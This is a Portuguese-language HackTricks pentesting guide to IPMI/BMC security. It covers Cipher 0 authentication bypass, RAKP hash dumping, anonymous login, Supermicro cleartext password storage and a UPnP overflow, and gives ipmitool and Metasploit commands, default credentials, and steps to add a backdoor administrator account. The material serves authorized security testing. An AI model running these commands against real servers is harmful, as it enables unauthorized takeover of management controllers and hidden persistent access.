mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-26 21:13:44 +00:00
173 lines
16 KiB
Markdown
173 lines
16 KiB
Markdown
## 623/UDP/TCP - IPMI
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
## Informações Básicas
|
|
|
|
O [Intelligent Platform Management Interface](https://www.thomas-krenn.com/en/wiki/IPMI\_Basics) (`IPMI`) é um conjunto de especificações padronizadas para sistemas de gerenciamento de host baseados em hardware usados para gerenciamento e monitoramento do sistema. Ele age como um subsistema autônomo e funciona independentemente do BIOS, CPU, firmware e sistema operacional subjacente do host. O IPMI fornece aos administradores de sistemas a capacidade de gerenciar e monitorar sistemas mesmo que eles estejam desligados ou em um estado não responsivo. Ele opera usando uma conexão de rede direta com o hardware do sistema e não requer acesso ao sistema operacional por meio de um shell de login. O IPMI também pode ser usado para atualizações remotas em sistemas sem exigir acesso físico ao host de destino. O IPMI é tipicamente usado de três maneiras:
|
|
|
|
* Antes que o sistema operacional seja iniciado para modificar as configurações do BIOS
|
|
* Quando o host está totalmente desligado
|
|
* Acesso a um host após uma falha do sistema
|
|
|
|
Quando não está sendo usado para essas tarefas, o IPMI pode monitorar uma variedade de coisas diferentes, como temperatura do sistema, voltagem, status do ventilador e fontes de alimentação. Ele também pode ser usado para consultar informações de inventário, revisar logs de hardware e alertar usando SNMP. O sistema host pode ser desligado, mas o módulo IPMI requer uma fonte de energia e uma conexão LAN para funcionar corretamente.
|
|
|
|
O protocolo IPMI foi publicado pela primeira vez pela Intel em 1998 e agora é suportado por mais de 200 fornecedores de sistemas, incluindo Cisco, Dell, HP, Supermicro, Intel e outros. Sistemas que usam a versão 2.0 do IPMI podem ser administrados via serial sobre LAN, dando aos administradores de sistemas a capacidade de visualizar a saída do console serial em banda. Para funcionar, o IPMI requer os seguintes componentes:
|
|
|
|
* Controlador de Gerenciamento de Placa Base (BMC) - Um microcontrolador e componente essencial de um IPMI
|
|
* Intelligent Chassis Management Bus (ICMB) - Uma interface que permite a comunicação de um chassi para outro
|
|
* Intelligent Platform Management Bus (IPMB) - estende o BMC
|
|
* Memória IPMI - armazena coisas como o log de eventos do sistema, dados do repositório de armazenamento e muito mais
|
|
* Interfaces de comunicação - interfaces do sistema local, interfaces seriais e LAN, ICMB e PCI Management Bus
|
|
|
|
![](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right)
|
|
|
|
**Porta padrão**: 623/UDP/TCP (geralmente está em UDP, mas também pode estar em TCP)
|
|
|
|
## Enumeração
|
|
|
|
### Descoberta
|
|
```bash
|
|
nmap -n -p 623 10.0.0./24
|
|
nmap -n-sU -p 623 10.0.0./24
|
|
use auxiliary/scanner/ipmi/ipmi_version
|
|
```
|
|
Você pode **identificar** a **versão** usando:
|
|
```bash
|
|
use auxiliary/scanner/ipmi/ipmi_version
|
|
nmap -sU --script ipmi-version -p 623 10.10.10.10
|
|
```
|
|
### Vulnerabilidade - Bypass de Autenticação IPMI via Cipher 0
|
|
|
|
Dan Farmer [identificou uma falha grave](http://fish2.com/ipmi/cipherzero.html) na especificação IPMI 2.0, ou seja, o tipo de cifra 0, um indicador de que o cliente deseja usar autenticação de texto simples, na verdade **permite o acesso com qualquer senha**. Problemas com o Cipher 0 foram identificados em BMCs da HP, Dell e Supermicro, sendo que o problema provavelmente abrange todas as implementações do IPMI 2.0.\
|
|
Observe que, para explorar esse problema, você primeiro precisa **encontrar um usuário válido**.
|
|
|
|
Você pode **identificar** esse problema usando:
|
|
```
|
|
use auxiliary/scanner/ipmi/ipmi_cipher_zero
|
|
```
|
|
E você pode **abusar** desse problema com o `ipmitool`:
|
|
```bash
|
|
apt-get install ipmitool #Install
|
|
#Using -C 0 any password is accepted
|
|
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list #Use Cipher 0 to dump a list of users
|
|
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
|
|
2 root true true true ADMINISTRATOR
|
|
3 Oper1 true true true ADMINISTRATOR
|
|
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 #Change the password of root
|
|
```
|
|
### Vulnerabilidade - Recuperação Remota de Hash de Senha de Autenticação RAKP do IPMI 2.0
|
|
|
|
Basicamente, **você pode solicitar ao servidor o MD5 e SHA1 salgados e hashados de qualquer nome de usuário e, se o nome de usuário existir, esses hashes serão enviados de volta.** Sim, tão incrível quanto parece. E há um **módulo do metasploit** para testar isso (você pode selecionar a saída no formato John ou Hashcat):
|
|
```bash
|
|
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
|
|
```
|
|
_Nota que para isso você só precisa de uma lista de nomes de usuário para força bruta (o metasploit já contém uma lista com nomes de usuário padrão)._
|
|
|
|
Usando `ipmitool` para burlar a autenticação (`-c 0`) e alterar a senha de root para abc123:
|
|
```
|
|
root@kali:~# apt-get install ipmitool
|
|
root@kali:~# ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list
|
|
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
|
|
2 root true true true ADMINISTRATOR
|
|
3 Oper1 true true true ADMINISTRATOR
|
|
root@kali:~# ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123
|
|
```
|
|
### Vulnerabilidade - Autenticação Anônima IPMI
|
|
|
|
Além dos problemas de autenticação acima, Dan Farmer observou que muitos BMCs são enviados com acesso "anônimo" habilitado por padrão. Isso é configurado definindo o nome de usuário da primeira conta de usuário como uma string nula e definindo uma senha nula para corresponder. O módulo _ipmi\_dumphashes_ identificará e despejará as hashes de senha (incluindo senhas em branco) para contas de usuário nulas. Essa conta pode ser difícil de usar por conta própria, mas podemos aproveitar o `ipmitool` para redefinir a senha de uma conta de usuário nomeada e aproveitar essa conta para acessar outros serviços:
|
|
```bash
|
|
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
|
|
|
|
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
|
|
1 false false true ADMINISTRATOR
|
|
2 root false false true ADMINISTRATOR
|
|
3 admin true true true ADMINISTRATOR
|
|
|
|
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword #Change the password of the user 2 (root) to "newpassword"
|
|
```
|
|
### Vulnerabilidade - Senhas em texto claro do IPMI Supermicro
|
|
|
|
A especificação IPMI 2.0 exige que o BMC responda a métodos de autenticação baseados em HMAC, como SHA1 e MD5. Esse processo de autenticação tem algumas fraquezas graves, como demonstrado em exemplos anteriores, mas também **requer acesso à senha em texto claro para calcular o hash de autenticação**. Isso significa que o BMC deve armazenar uma **versão em texto claro** de todas as senhas de usuário configuradas em algum lugar do **armazenamento não volátil**. No caso da **Supermicro**, essa localização muda entre as versões do firmware, mas é **`/nv/PSBlock`** ou **`/nv/PSStore`**. As senhas estão espalhadas entre vários blocos binários, mas são fáceis de identificar, pois sempre seguem o nome de usuário. Isso é um problema sério para qualquer organização que usa senhas compartilhadas entre BMCs ou até mesmo diferentes tipos de dispositivos.
|
|
```bash
|
|
cat /nv/PSBlock
|
|
admin ADMINpassword^TT rootOtherPassword!
|
|
```
|
|
### Vulnerabilidade - Supermicro IPMI UPnP
|
|
|
|
A Supermicro inclui um **listener UPnP SSDP em execução na porta UDP 1900** no firmware IPMI de muitas de suas placas-mãe recentes. Nas versões anteriores a SMT\_X9\_218, este serviço estava executando o SDK Intel para Dispositivos UPnP, versão 1.3.1. Esta versão é vulnerável aos [problemas divulgados pela Rapid7](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play) em fevereiro de 2013, e um exploit para essa plataforma faz parte do Metasploit Framework. O interessante sobre esse ataque é que ele **fornece acesso root completo ao BMC**, algo que é difícil de obter de outra forma. Lembre-se de que um invasor com acesso administrativo, seja pela rede ou de um shell root no sistema host, pode rebaixar o firmware de um BMC Supermicro para uma versão vulnerável e, em seguida, explorá-lo. Uma vez que o acesso **root** é **obtido**, é possível **ler credenciais em texto claro** do sistema de arquivos, **instalar** software adicional e integrar **backdoors** permanentes no BMC que sobreviveriam a uma reinstalação completa do sistema operacional do host.
|
|
```bash
|
|
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
|
|
```
|
|
### Brute Force
|
|
|
|
Observe que apenas a HP randomiza a senha durante o processo de fabricação.
|
|
|
|
| Nome do Produto | Nome de Usuário Padrão | Senha Padrão |
|
|
| --------------------------------------------------- | --------------------- | ----------------------------------------- |
|
|
| **HP Integrated Lights Out (iLO)** | Administrator | \<cadeia de caracteres aleatórios de 8 caracteres> |
|
|
| **Dell Remote Access Card (iDRAC, DRAC)** | root | calvin |
|
|
| **IBM Integrated Management Module (IMM)** | USERID | PASSW0RD (com um zero) |
|
|
| **Fujitsu Integrated Remote Management Controller** | admin | admin |
|
|
| **Supermicro IPMI (2.0)** | ADMIN | ADMIN |
|
|
| **Oracle/Sun Integrated Lights Out Manager (ILOM)** | root | changeme |
|
|
| **ASUS iKVM BMC** | admin | admin |
|
|
|
|
## Explorando o Host a partir do BMC
|
|
|
|
Uma vez obtido o acesso administrativo ao BMC, há vários métodos disponíveis que podem ser usados para obter acesso ao sistema operacional do host. O caminho mais direto é abusar da funcionalidade KVM do BMC e reiniciar o host para um shell root (init=/bin/sh no GRUB) ou especificar um disco de resgate como um CD-ROM virtual e inicializar a partir dele. Uma vez obtido o acesso bruto ao disco do host, é trivial introduzir uma porta dos fundos, copiar dados do disco rígido ou fazer qualquer coisa que precise ser feita como parte da avaliação de segurança. A grande desvantagem, é claro, é que o host tem que ser reiniciado para usar este método. Obter acesso ao host em execução é muito mais complicado e depende do que o host está executando. Se o console físico do host for deixado conectado, torna-se trivial sequestrá-lo usando a funcionalidade KVM integrada. O mesmo se aplica aos consoles seriais - se a porta serial estiver conectada a uma sessão autenticada, o BMC pode permitir que esta porta seja sequestrada usando a interface ipmitool para serial-over-LAN (sol). Um caminho que ainda precisa de mais pesquisa é abusar do acesso a hardware compartilhado, como o barramento i2c e o chip Super I/O.
|
|
|
|
![](https://blog.rapid7.com/content/images/post-images/27966/ipmi\_bios.png)
|
|
|
|
![](https://blog.rapid7.com/content/images/post-images/27966/ipmi\_boot.png)
|
|
|
|
![](<../.gitbook/assets/image (202) (2).png>)
|
|
|
|
## Explorando o BMC a partir do Host
|
|
|
|
Em situações em que um host com um BMC foi comprometido, a **interface local para o BMC pode ser usada para introduzir uma conta de usuário de porta dos fundos**, e a partir daí estabelecer uma posição permanente no servidor. Este ataque requer que o **`ipmitool`** esteja instalado no host e que o suporte ao driver esteja habilitado para o BMC. O exemplo abaixo demonstra como a interface local no host, que não requer autenticação, pode ser usada para injetar uma nova conta de usuário no BMC. Este método é universal em alvos Linux, Windows, BSD e até mesmo DOS.
|
|
```bash
|
|
ipmitool user list
|
|
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
|
|
2 ADMIN true false false Unknown (0x00)
|
|
3 root true false false Unknown (0x00)
|
|
|
|
ipmitool user set name 4 backdoor
|
|
ipmitool user set password 4 backdoor
|
|
ipmitool user priv 4 4
|
|
ipmitool user list
|
|
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
|
|
2 ADMIN true false false Unknown (0x00)
|
|
3 root true false false Unknown (0x00)
|
|
4 backdoor true false true ADMINISTRATOR
|
|
```
|
|
## Shodan
|
|
|
|
* `porta:623`
|
|
|
|
## Referências
|
|
|
|
* [https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/)
|
|
* [https://academy.hackthebox.com/module/112/section/1245](https://academy.hackthebox.com/module/112/section/1245)
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|